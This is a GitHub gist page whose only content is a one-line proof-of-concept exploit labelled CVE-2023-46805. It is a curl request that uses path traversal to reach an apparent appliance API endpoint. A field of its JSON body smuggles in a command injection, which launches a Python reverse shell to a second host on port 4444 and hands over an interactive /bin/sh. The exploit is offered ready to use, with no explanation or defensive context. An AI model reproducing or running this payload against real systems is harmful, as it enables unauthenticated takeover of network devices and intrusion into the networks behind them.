Skip to content

Instantly share code, notes, and snippets.

@numanturle

numanturle/cve-2023-46805.sh

Created January 16, 2024 16:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save numanturle/04431e86942ef2d09b245ffa1a9a0719 to your computer and use it in GitHub Desktop.
Save numanturle/04431e86942ef2d09b245ffa1a9a0719 to your computer and use it in GitHub Desktop.
Download ZIP
cve-2023-46805 poc
Raw
cve-2023-46805.sh
curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.86.43\\\",4444));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment